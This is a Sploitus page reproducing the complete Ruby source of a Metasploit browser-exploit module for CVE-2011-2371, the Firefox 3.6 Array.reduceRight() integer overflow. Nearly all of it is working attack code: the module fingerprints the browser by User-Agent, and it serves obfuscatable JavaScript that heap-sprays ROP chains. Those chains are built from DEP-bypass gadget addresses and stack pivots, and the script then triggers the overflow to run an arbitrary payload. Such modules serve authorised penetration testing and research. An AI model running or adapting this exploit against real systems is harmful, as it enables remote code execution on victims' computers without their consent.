Sploitus

Exploit for Mozilla Firefox Array.reduceRight() Integer Overflow

metasploit Β· 2011-06-21

Exploit Code

ruby352 lines
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-BROWSER-MOZILLA_REDUCERIGHT-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mozilla Firefox Array.reduceRight() Integer Overflow',
        'Description' => %q{
          This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
          array object is configured with a large length value, the reduceRight() method
          may cause an invalid index being used, allowing arbitrary remote code execution.
          Please note that the exploit requires a longer amount of time (compare to a
          typical browser exploit) in order to gain control of the machine.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Chris Rohlf', # Matasano Security (Initial discovery according to Mozilla.org)
          'Yan Ivnitskiy',  # Matasano Security (Initial discovery with Chris?)
          'Matteo Memelli', # PoC from Exploit-DB
          'dookie2000ca',   # "Helping" ryujin (Matteo)
          'sinn3r'          # Metasploit
        ],
        'References' => [
          ['CVE', '2011-2371'],
          ['OSVDB', '73184'],
          ['EDB', '17974'],
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009']
        ],
        'Payload' => {
          'BadChars' => "\x00",
          'PrependEncoder' => "\xbc\x0c\x0c\x0c\x0c"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ],
          [
            # if we dont have aslr, lets not deal with it
            # Windows XP (no JAVA)
            'Mozilla Firefox 3.6.16 (no JAVA)',
            {
              'Author' => [
                'mr_me <steventhomasseeley[at]gmail.com>',
                'TecR0c <roccogiovannicalvi[at]gmail.com>',
              ],
              'pivot' => 0x104C26F0, # 1st pivot [push esi;pop esp;and [esi+44],0;xor eax,eax;pop esi;retn 4]
              'pivot2' => 0x10055326 # 2nd pivot [add esp,40;ret]
            }
          ],
          [
            # Vista / win 7 (using JAVA) to defeat aslr
            'Mozilla Firefox 3.6.16 (JAVA)',
            {
              'pivot' => 0x7c370eef, # 1st pivot [lea esp,[esi-3];dec [ebx];ret 1C75]
              'pivot2' => 0xcafebabe # fake
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-06-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
      ]
    )
  end

  def junk(n = 4)
    return rand_text_alpha(n).unpack('L')[0].to_i
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    if agent !~ %r{Firefox/3\.6\.(16|17)}
      print_error("This browser is not supported: #{agent}")
      send_not_found(cli)
      return
    end

    my_target = target
    if my_target.name == 'Automatic'
      if agent =~ /NT 5\.1/ && agent =~ %r{Firefox/3\.6\.16}
        my_target = targets[1]
      elsif agent =~ /NT 6\.[01]/ && agent =~ %r{Firefox/3\.6\.16}
        my_target = targets[2]
      else
        print_error("This browser is not a viable target: #{agent}")
        send_not_found(cli)
        return
      end
    end

    table = [junk(2)].pack('v*')
    table << [
      0x0c000048,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
    ].pack('V*')
    table << [junk(2)].pack('v*')
    table << [
      my_target['pivot'],
      junk,
    ].pack('V*')
    table << [junk(2)].pack('v*')
    table << [
      0x3410240c,
      0x0c00007c,
      my_target['pivot2'],
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      0x0c00002e,
    ].pack('V*')

    # random
    js_applet = rand_text_alpha(rand(5..14))
    a_trigger = rand_text_alpha(rand(5..14))

    randnop = rand_text_alpha(rand(1..100))
    js_nops = Rex::Text.to_unescape("\x0c" * 4)

    if my_target.name =~ /\(JAVA\)/

      # mona.py tekniq! + Payload
      rop = [
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0x7c37a140,  # Make EAX readable
        0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
        0x7c348b06,  # EBP (NOP)
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0x7c37a140,  # <- VirtualProtect() found in IAT
        0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
        0x7c346c0b,  # Slide, so next gadget would write to correct stack location
        0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
        0x7c348b06,  # EDI (filler)
        0x7c348b06,  # will be patched at runtime (VP), then picked up into ESI
        0x7c348b06,  # EBX (filler)
        0x7c376402,  # POP EBP # RETN (msvcr71.dll)
        0x7c345c30,  # ptr to push esp #  ret  (from MSVCR71.dll)
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0xfffff82f,  # size 20001 bytes
        0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
        0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
        0xffffffff,  # pop value into ebx
        0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
        0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
        0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
        0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
        0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
        0x7c34b8d8,  # ROP NOP (-> edi)
        0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
        0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
        0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0x90909090,  # NOPS (-> eax)
        0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
      ].pack('V*')

      p = payload.encoded
      arch = Rex::Arch.endian(target.arch)
      js_payload = Rex::Text.to_unescape(rop + p, arch)
      js_ptrs = Rex::Text.to_unescape(table, arch)

      # Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap
      js = <<-JS
      var applet = document.getElementById('#{js_applet}');

      function spray() {
        var ptrs = unescape("#{js_ptrs}");

        var bheader  = 0x12/2;
        var nullt    = 0x2/2;

        var espoffset  = (7340 /2) - ptrs.length;
        var #{randnop} = "#{js_nops}";
        var esppadding = unescape(#{randnop});
        while(esppadding.length < espoffset) esppadding += esppadding;
        esppadding = esppadding.substring(0, espoffset);

        var payload = unescape("#{js_payload}");

        var tr_padding = unescape(#{randnop});
        while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}

        var dummy = ptrs + esppadding + payload + tr_padding;
        var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);

        HeapBlocks = new Array()
        for (i=0;i<0x60;i++){
          HeapBlocks[i] += hspray;
        }
      }
      spray();
      obj = new Array;
      obj.length = 2197815302;
      f = function trigger(prev, myobj, indx, array) {
        alert(myobj[0]);
      }
      obj.reduceRight(f,1,2,3);
      JS

      js = js.gsub(/^ {4}/, '')

      if datastore['OBFUSCATE']
        js = ::Rex::Exploitation::JSObfu.new(js)
        js.obfuscate(memory_sensitive: true)
      end

      html = <<-HTML
      <html>
      <head>
      </head>
      <body>
      <applet id="#{js_applet}" code="#{a_trigger}.class" width=0 height=0>
      </applet>
      <script>
      #{js}
      </script>
      </body>
      <html>
      HTML

    elsif my_target.name =~ /\(no JAVA\)/

      # DEP bypass using xul.dll
      rop =
        [
          junk,
          junk,
          junk,
          junk,
          junk,
          0x101f1806,  # POP EAX # RETN [xul.dll]
          0x1083828C,  # ptr to &VirtualAlloc() [IAT xul.dll]
          0x103e0d7b,  # MOV ESI,DWORD PTR DS:[EAX] # RETN [xul.dll]
          0x102d8002,  # POP EBP # RETN [xul.dll]
          0x1003876b,  # & jmp esp [xul.dll]
          0x10040001,  # POP EBX # RETN [xul.dll]
          0x00000001,  # 0x00000001-> ebx
          0x104e6917,  # POP EDX # RETN [xul.dll]
          0x00001000,  # 0x00001000-> edx
          0x102ac000,  # POP ECX # RETN [xul.dll]
          0x00000040,  # 0x00000040-> ecx
          0x102e0005,  # POP EDI # RETN [xul.dll]
          0x102ac001,  # RETN (ROP NOP) [xul.dll]
          0x101f1806,  # POP EAX # RETN [xul.dll]
          0x90909090,  # nop
          0x102b3401,  # PUSHAD # RETN [xul.dll]
        ].pack('V*')

      p = payload.encoded
      arch = Rex::Arch.endian(target.arch)
      js_payload = Rex::Text.to_unescape(rop + p, arch)
      js_ptrs = Rex::Text.to_unescape(table, arch)

      # java loading forces the alloctor to use more blocks, since we
      # dont load java we will just spray a little more..
      js = <<-JS
      var myobject = document.getElementById('d');

      function spray() {
        var ptrs = unescape("#{js_ptrs}");

        var bheader  = 0x12/2;
        var nullt    = 0x2/2;

        var payload = unescape("#{js_payload}");

        var #{randnop} = "#{js_nops}";
        var tr_padding = unescape(#{randnop});
        while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}

        var dummy = ptrs + payload + tr_padding;
        var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);

        HeapBlocks = new Array()
        for (i=0;i<0x100;i++){
          HeapBlocks[i] += hspray;
        }
      }
      spray();
      obj = new Array;
      obj.length = 2197815302;
      f = function trigger(prev, myobj, indx, array) {
        alert(myobj[0]);
      }
      obj.reduceRight(f,1,2,3);
      JS

      if datastore['OBFUSCATE']
        js = ::Rex::Exploitation::JSObfu.new(js)
        js.obfuscate(memory_sensitive: true)
      end

      js = js.gsub(/^ {4}/, '')

      html = <<-HTML
      <html>
      <head>
      </head>
      <body>
      <object id="d"><object>
      <script>
      #{js}
      </script>
      </body>
      <html>
      HTML

    end

    html = html.gsub(/^ {4}/, '')

    print_status("Sending #{name}")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end